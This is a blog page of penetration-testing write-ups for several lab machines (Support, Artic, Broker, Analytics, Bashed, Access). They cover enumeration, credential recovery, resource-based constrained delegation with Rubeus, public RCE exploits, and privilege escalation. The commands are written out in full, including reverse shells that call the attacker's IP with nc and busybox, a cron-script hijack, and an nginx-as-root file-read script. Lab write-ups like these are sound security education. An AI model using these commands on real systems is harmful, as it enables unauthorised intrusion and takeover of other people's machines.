0xh3x_

Support

Kamlesh Kathiriya — Mon, 01 Jun 2026 00:00:00 GMT

Machine Name: Support
OS type: Windows
Difficulty: Easy

:::hacker Support is an Easy difficulty Windows machine that features an SMB share that allows anonymous authentication. After connecting to the share, an executable file is discovered that is used to query the machine's LDAP server for available users. Through reverse engineering, network analysis or emulation, the password that the binary uses to bind the LDAP server is identified and can be used to make further LDAP queries. A user called support is identified in the users list, and the info field is found to contain his password, thus allowing for a WinRM connection to the machine. Once on the machine, domain information can be gathered through SharpHound, and BloodHound reveals that the Shared Support Accounts group that the support user is a member of, has GenericAll privileges on the Domain Controller. A Resource Based Constrained Delegation attack is performed, and a shell as NT Authority\System is received. :::

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Sat Apr 12 05:11:36 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.174
Nmap scan report for 10.10.11.174
Host is up, received echo-reply ttl 127 (0.46s latency).
Scanned at 2025-04-12 05:11:37 EDT for 1094s
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-12 09:27:22Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49711/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 19493/tcp): CLEAN (Timeout)
|   Check 2 (port 12235/tcp): CLEAN (Timeout)
|   Check 3 (port 45724/udp): CLEAN (Timeout)
|   Check 4 (port 46124/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-04-12T09:28:25
|_  start_date: N/A
|_clock-skew: -40s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 12 05:29:51 2025 -- 1 IP address (1 host up) scanned in 1094.89 seconds

Enumeration

Port 135/MSRPC

let’s check the if we have access to MSRPC service using rpcclient

we can login but we don’t have permissions to run commands, not so useful! moving on next service

Port 389,636/LDAP

let’s check the ldapsearch tool to see if we can run ldap queries without credentials

ldapsearch -H ldap://10.10.11.174 -x -s base namingcontexts

-x : basic authentication

-s for search scope here base and namingcontext will only give output of the DN (Distinguished Name) which we’ll use in next command to perform full search over domain using LDAP

ldapsearch -H ldap://10.10.11.174 -x -b "DC=support,DC=htb"

it says successful bind must be completed to perform the search so we need the credentials

Port 139,445/SMB

SMB is running on the machine let’s check for the Null session and anonymous login, let’s run the smbclient with options -L and -N

smbclient -L //10.10.11.174 -N

we found non-default share support-tools also machine name support suggest we might find something interesting here

smbclient //10.10.11.174/support-tools -N

no listing access to NETLOGON and SYSVOL shares

let’s download the all of the files from support-tools share using

prompt off

mget *

we found many application but the UserInfo.exe is seems interesting to us however strings command disappointed us 😟 no hardcoded passwords in the software, let’s use the DnSpy tool to decompile the exe and look into it’s code

download dnSpy from here → https://github.com/dnSpy/dnSpy/releases/download/v6.1.8/dnSpy-net-win64.zip

before reversing the exe let’s first try to execute it in windows cmd, launch cmd and run executable

it does requires some options (arguments) it is important to note we need to pass this arguments on the dnSpy

let’s try find command

UserInfo.exe -v find

it says -first or -last argument is required let’s provide -first and run the command

UserInfo.exe -v find -first Administrator

it shows server is not operational, it’s obivious as my windows machine not able to comunicate with support.htb as it tries to perform ldap query, also if we notice it doesn’t give us the error, there are two possibilities,

It didn’t connected to domain so it didn’t give us the error
password is hardcoded in the application’s code that use to query LDAP

now let’s load the UserInfo.exe to dnSpy

public LdapQuery()
		{
			string password = Protected.getPassword();
			this.entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
			this.entry.AuthenticationType = AuthenticationTypes.Secure;
			this.ds = new DirectorySearcher(this.entry);
		}

we found that the LdapQuery() class perform ldap search also it uses the username support\ldap and the password which is stored in Protected Class getpassword(), click on the getPassword() it will go to the getPassword() class

using System;
using System.Text;

namespace UserInfo.Services
{
	// Token: 0x02000006 RID: 6
	internal class Protected
	{
		// Token: 0x0600000F RID: 15 RVA: 0x00002118 File Offset: 0x00000318
		public static string getPassword()
		{
			byte[] array = Convert.FromBase64String(Protected.enc_password);
			byte[] array2 = array;
			for (int i = 0; i < array.Length; i++)
			{
				array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
			}
			return Encoding.Default.GetString(array2);
		}

		// Token: 0x04000005 RID: 5
		private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

		// Token: 0x04000006 RID: 6
		private static byte[] key = Encoding.ASCII.GetBytes("armando");
	}
}

so it contains enc_password (encrypted password) and the key also the code that decrypts the password, now we have 2 ways here to get plaintext password here

Write a C# program with above logic and print the plaintext password at the end
if you don’t know C# just like me 😂, use breakpoints feature of the dnSpy to get plaintext password

let’s use the 2nd option go to LdapQuery Class from the left pane

then rightclick on 13th line which passing the ldap query with the password

click on Add Breakpoint

now click on ▶️ start button and specify the arguments we just add in the cmd -v find -first administrator

click OK to start debugging

it will automatically stop at the Breakpoint we’ve just created

and we got the password bingo!!, so we now know that this software uses the ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz to perform LDAP query nice!, let’s quickly check if these are the valid creds or not

netexec smb 10.10.11.174 -u ldap -p nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

yes it is the valid user, let’s enumerate users using netexec —users option

netexec ldap 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --users

let’s create a users.txt and put all users in it, what about password reuese!

nope.

let’s run bloodhoud-python as we have a valid credentials

bloodhound-python -c all -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d support.htb -ns 10.10.11.174

we didn’t find anything useful from here, as we now have credentials let’s checkout the ldapsearch again

ldapsearch -H ldap://10.10.11.174 -b "DC=support,DC=htb" -D ldap@support.htb -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' '(objectClass=user)'

info field of the user support looks interesting, maybe it is the password for that user?, let’s verify it using netexec

netexec smb 10.10.11.174 -u support -p Ironside47pleasure40Watchful

let’s check if we have winrm access

netexec winrm 10.10.11.174 -u support -p Ironside47pleasure40Watchful

let’s login as support using evil-winrm

evil-winrm -i 10.10.11.174 -u support -p Ironside47pleasure40Watchful

** i can’t provide you the Bloodhound screenshots, as i’m facing issue in starting bloodhound **

analyzing the bloodhound data we found that support user has GenericAll on the computer object, so we can abuse resource-based constrained delegation

we’ll add the fake computer to domain, then we’ll act as DC to get TGT for Administrator from KDC, then we can use TGT to impersonate the Administrator user

we need three scripts/tools for this attack:

let’s upload this three tools using winpeas upload feature

now import the both modules to powershell using Import-Module cmdlet

great now let’s create the new machine account under our control

New-MachineAccount -MachineAccount HackerPC -Password $(ConvertTo-SecureString 'Hacker@123!' -AsPlainText -Force)

get the SID of the Computer we’ve just created, and store it to variable

$hacksid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid

now we successfully created fake computer in the domain, now we need to configure DC to trust this computer to act as the DC (work on behalf of real DC)

Evil-WinRM PS C:\Users\support\Documents> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($hacksid))"
*Evil-WinRM* PS C:\Users\support\Documents> $SDBytes = New-Object byte[] ($SD.BinaryLength)
*Evil-WinRM* PS C:\Users\support\Documents> $SD.GetBinaryForm($SDBytes, 0)
*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer dc.support.htb | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

now we need to verify if our new ACL has been applied

*Evil-WinRM* PS C:\Users\support\Documents> $RawBytes = Get-DomainComputer dc.support.htb -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
*Evil-WinRM* PS C:\Users\support\Documents> $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
*Evil-WinRM* PS C:\Users\support\Documents> $Descriptor.DiscretionaryAcl

we can see that AceType AccessAllowed and SecurityIdentifier of Fake Computer mentioned here

next we’ll request the machine account’s NTLM hash using Rubeus.exe

.\Rubeus.exe hash /password:Hacker@123! /user:HackerPC /domain:support.htb

we need rc4_hmac hash

.\Rubeus.exe s4u /user:HackerPC$ /rc4:B346BAC70D2B764F171C75A3BE96D648 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

our ticket is exported in the current session we can check it using

.\Rebeus.exe klist

however it is not working, let’s use it from the our kali machine

let’s use this ticket in our kali to get shell first we’ll copy the base64 encoded ticket to our kali machine, remove spaces and new line characters using mousepad or any other text editor then decode the base64 encoded ticket.kirbi and save it to administrator.ccache and then export it to KRB5CCNAME env variable and use impacket-psexec to get shell as administrator, let’s see how to do it

first copy the encoded ticket to kali

copy marked part only and paste it to ticket.kirbi in kali and clear it

after clearing all the unwanted spaces and new lines it will look like above screenshot, then convert it to ccache using impacket-ticketConverter to check if it is not corrupted use base64 -d ticket.kribi and see if it clears the screen and includes the SPN that we’ve specified in the Rubeus command

impacket-ticketConverter ticket administrator.ccache

now run following command to export KRB5CCNAME which required by the kerberos in linux to authenticate

KRB5CCNAME=administrator.ccache impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass

Make sure you have added support.htb and dc.support.htb in /etc/hosts file

Artic

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Artic
OS Type: Windows
Difficulty: Easy

Port Scanning - Service & Version Enumeration

PORT      STATE SERVICE REASON          VERSION
135/tcp   open  msrpc   syn-ack ttl 127 Microsoft Windows RPC
8500/tcp  open  fmtp?   syn-ack ttl 127
49154/tcp open  msrpc   syn-ack ttl 127 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

Port 8500/HTTP

HTTP service is running on port 8500

let’s open the CFIDE directory

we found interesting directory administrator/ upon visiting the administrator path it shows the Adobe ColdFusion 8 Administrator

searching for the known vulnerability i found ColdFusion 8 is vulnerable to RCE

https://www.exploit-db.com/exploits/50057

in exploit change:

lhost to your machine’s IP

and run the exploit

python3 50057.py

checking the privileges of the tolis user using whoami /priv command i found that we have SeImpersonatePrivilege enabled let’s use the GodPotato to abuse this privilege

first we’ll transfer the nc.exe and JuicyPotato to target machine

JuicyPotato.exe -l 443 -p c:\\windows\\system32\\cmd.exe -a "/c c:\\temp\\nc.exe -e cmd.exe 10.10.14.17 443" -t * -c {659cdea7-489e-11d9-a9cd-000d56965251}

check the listener on port 443

Broker

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Broker
OS Type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Thu May  8 09:56:10 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.243
Nmap scan report for 10.10.11.243
Host is up, received echo-reply ttl 63 (0.29s latency).
Scanned at 2025-05-08 09:56:13 IST for 143s
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE    REASON         VERSION
22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp    open  http       syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1883/tcp  open  mqtt       syn-ack ttl 63
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|_    ActiveMQ/Advisory/Consumer/Topic/#: 
5672/tcp  open  amqp?      syn-ack ttl 63
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
8161/tcp  open  http       syn-ack ttl 63 Jetty 9.4.39.v20210325
|_http-title: Error 401 Unauthorized
|_http-server-header: Jetty(9.4.39.v20210325)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
42437/tcp open  tcpwrapped syn-ack ttl 63
61613/tcp open  stomp      syn-ack ttl 63 Apache ActiveMQ
| fingerprint-strings: 
|   HELP4STOMP: 
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       syn-ack ttl 63 Jetty 9.4.39.v20210325
| http-methods: 
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title.
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-server-header: Jetty(9.4.39.v20210325)
61616/tcp open  apachemq   syn-ack ttl 63 ActiveMQ OpenWire transport 5.15.15
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5672-TCP:V=7.95%I=7%D=5/8%Time=681C32CB%P=x86_64-pc-linux-gnu%r(Get
SF:Request,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\x
SF:c0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\
SF:0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20clie
SF:nt\x20using\x20unsupported\x20AMQP\x20attempted")%r(HTTPOptions,89,"AMQ
SF:P\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\
SF:0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02
SF:\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x20using\x20
SF:unsupported\x20AMQP\x20attempted")%r(RTSPRequest,89,"AMQP\x03\x01\0\0AM
SF:QP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\
SF:x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:de
SF:code-error\xa17Connection\x20from\x20client\x20using\x20unsupported\x20
SF:AMQP\x20attempted")%r(RPCCheck,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0
SF:\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02
SF:\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Con
SF:nection\x20from\x20client\x20using\x20unsupported\x20AMQP\x20attempted"
SF:)%r(DNSVersionBindReqTCP,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x
SF:02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0
SF:\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connectio
SF:n\x20from\x20client\x20using\x20unsupported\x20AMQP\x20attempted")%r(DN
SF:SStatusRequestTCP,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\
SF:0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18
SF:\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20fr
SF:om\x20client\x20using\x20unsupported\x20AMQP\x20attempted")%r(SSLSessio
SF:nReq,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\
SF:x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\
SF:x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\
SF:x20using\x20unsupported\x20AMQP\x20attempted")%r(TerminalServerCookie,8
SF:9,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x0
SF:4\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc
SF:0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x20usi
SF:ng\x20unsupported\x20AMQP\x20attempted");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port61613-TCP:V=7.95%I=7%D=5/8%Time=681C32C5%P=x86_64-pc-linux-gnu%r(HE
SF:LP4STOMP,27F,"ERROR\ncontent-type:text/plain\nmessage:Unknown\x20STOMP\
SF:x20action:\x20HELP\n\norg\.apache\.activemq\.transport\.stomp\.Protocol
SF:Exception:\x20Unknown\x20STOMP\x20action:\x20HELP\n\tat\x20org\.apache\
SF:.activemq\.transport\.stomp\.ProtocolConverter\.onStompCommand\(Protoco
SF:lConverter\.java:258\)\n\tat\x20org\.apache\.activemq\.transport\.stomp
SF:\.StompTransportFilter\.onCommand\(StompTransportFilter\.java:85\)\n\ta
SF:t\x20org\.apache\.activemq\.transport\.TransportSupport\.doConsume\(Tra
SF:nsportSupport\.java:83\)\n\tat\x20org\.apache\.activemq\.transport\.tcp
SF:\.TcpTransport\.doRun\(TcpTransport\.java:233\)\n\tat\x20org\.apache\.a
SF:ctivemq\.transport\.tcp\.TcpTransport\.run\(TcpTransport\.java:215\)\n\
SF:tat\x20java\.lang\.Thread\.run\(Thread\.java:750\)\n\0\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May  8 09:58:36 2025 -- 1 IP address (1 host up) scanned in 145.65 seconds

Enumeration

Port 61616,61614,61613/ActiveMQ

I noticed interesting service ActiveMQ is running, quick google search reveals that it is vulnerable to RCE → https://github.com/duck-sec/CVE-2023-46604-ActiveMQ-RCE-pseudoshell

clone the exploit repository and run exploit

python3 exploit.py -i 10.10.11.243 -si 10.10.14.17 -p 61616

we got Remote Command Execution on the target machine, let’s get proper reverse shell using netcat

start netcat listener on port 443

busybox nc 10.10.14.17 443 -e /bin/bash

i found that we can run nginx as root

i created below exploit to get root.txt

echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
	server {
	        listen 1339;
	        root /;
	        autoindex on;
	        dav_methods PUT;
	}
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
#echo "[+] Getting /etc/Shadow file..."
#curl -X GET localhost:1339/etc/shadow
echo "[+] Getting root.txt"
curl -X GET localhost:1339/root/root.txt

Analytics

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Analytics
OS Type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Fri Jul  4 18:35:33 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.11.233
Nmap scan report for 10.10.11.233
Host is up, received reset ttl 63 (0.22s latency).
Scanned at 2025-07-04 18:35:40 IST for 93s
Not shown: 65340 closed tcp ports (reset), 194 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul  4 18:37:13 2025 -- 1 IP address (1 host up) scanned in 99.85 seconds

Enumeration

Port 80/HTTP

the only port 80 is open, let’s check it out

we need to add this to /etc/hosts

echo "10.10.11.233 analytical.htb" | sudo tee -a /etc/hosts

and refresh the page

i tried directory and file fuzzing using gobuster, but nothing interesting found, as we don’t found any other service so we’ll try to enumerate subdomains

i’ll use the wfuzz tool for fuzzing subdomain

wfuzz -u http://analytical.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.analytical.htb" --hh 154

nice we found the subdomain - data, let’s add this domain to /etc/hosts

let’s open the data.analytical.htb in the browser

searching for exploit i found - https://www.exploit-db.com/exploits/51797

so it is vulnerable to Pre-Auth RCE, so we don’t need to authenticate in the application, download the exploit and run it against Metabase application

get stable shell using busybox nc 10.10.14.6 4444 -e /bin/bash

i’m using my own shell handler to handle the reverse shell https://github.com/0xh3x0x/RevShellCraft

it looks like we are in docker container

let’s check the environment variables first

env

and we found the username and password for the - metalytics user

ssh metalytics@analytics.htb

and get the user.txt

i found that kernel is vulnerable to GameOver(lay) vulnerability

https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629

let’s transfer the exploit to target machine, and run the exploit

Bashed

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Bashed
OS Type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Wed May  7 09:04:41 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.68
Nmap scan report for 10.10.10.68
Host is up, received echo-reply ttl 63 (0.29s latency).
Scanned at 2025-05-07 09:04:42 IST for 117s
Not shown: 65275 closed tcp ports (reset), 259 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May  7 09:06:39 2025 -- 1 IP address (1 host up) scanned in 117.61 seconds

Enumeration

Port 80/HTTP

i’ll start my enumeration from port 80

let’s check the web technology using whatweb

whatweb http://10.10.10.68

let’s check the directory and files fuzzing using gobuster

gobuster dir -u http://10.10.10.68 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

let’s navigate to /dev directory

we found interesting phpbash.php file google search reveals the → https://github.com/Arrexel/phpbash

phpbash is a standalone, semi-interactive web shell. It's main purpose is to assist in penetration tests where traditional reverse shells are not possible. The design is based on the default Kali Linux terminal colors, so pentesters should feel right at home.

let’s open the phpbash.php

let’s catch a reverse shell

start netcat listener on port 443 and run busybox nc 10.10.14.17 443 -e /bin/bash in webshell

upgrade to TTY shell using

python -c 'import pty;pty.spawn("/bin/bash");'

user.txt can be found at /home/arrexel/user.txt

there are two users on the system

after running sudo -l i found that we can run any command as scriptmanager without password using sudo

let’s run /bin/bash as scriptmanager to get shell as scriptmanager

sudo -u scriptmanager /bin/bash

i found interesting /scripts directory in / folder

there are two files in this folder, now if we look at the file owner we found that test.py owned by scriptmanager means we can write it to it

and the test.txt is owned by root let’s see what both files contains

so the test.py is writing testing 123 in test.txt so we can assume that script it executed by the root

to confirm this i check last modified time of the file and current system time

both matches mean file is modified every one minutes

let’s modify the test.py with following command

echo -e 'import os;os.system("busybox nc 10.10.14.17 445 -e /bin/bash");' > test.py

start netcat listener on port 445

wait for root to execute script

Access

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Access
OS Type: Windows
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Sat Jun 28 16:12:16 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.10.98
Nmap scan report for 10.10.10.98
Host is up, received echo-reply ttl 127 (0.26s latency).
Scanned at 2025-06-28 16:12:23 IST for 508s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON          VERSION
21/tcp open  ftp     syn-ack ttl 127 Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
23/tcp open  telnet  syn-ack ttl 127 Microsoft Windows XP telnetd
| telnet-ntlm-info: 
|   Target_Name: ACCESS
|   NetBIOS_Domain_Name: ACCESS
|   NetBIOS_Computer_Name: ACCESS
|   DNS_Domain_Name: ACCESS
|   DNS_Computer_Name: ACCESS
|_  Product_Version: 6.1.7600
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: MegaCorp
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: -4s

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 28 16:20:51 2025 -- 1 IP address (1 host up) scanned in 515.02 seconds

Enumeration

Port 80/HTTP

i found HTTP port 80 is open in Target machine, so first step is to visit the website using browser

tried running gobuster to find hidden files/directories but no luck here

Port 21/FTP

found FTP port open let’s check if it allows anonymous login or not

ftp 10.10.10.98

it allows anonymous login, and we found that there’s two folders Backups and Engineer

let’s check what these folders contains

there’s two files backup.mdb and Access Control.zip

let’s download both files, first set transfer mode to binary using bin

ftp> bin

ftp> get "Access Control.zip"

same for the backup.mdb

now let’s try to unzip the zip file

7z x Access\ Control.zip

it is the password protected, let’s check the MS Access DB file, to open it i used online website - https://www.mdbopener.com/

after uploading the bakcup.mdb file

there’s many tables, i found auth user little bit interesting, click on view to view the table data

we found the engineer user’s credentials - engineer:access4u@security

now we can unzip the file using engineer’s password

the zip contains 'Access Control.pst’

A PST file, or Personal Storage Table, is a file format used by Microsoft Outlook and other Microsoft programs to store copies of messages, calendar events, and other items locally on a computer
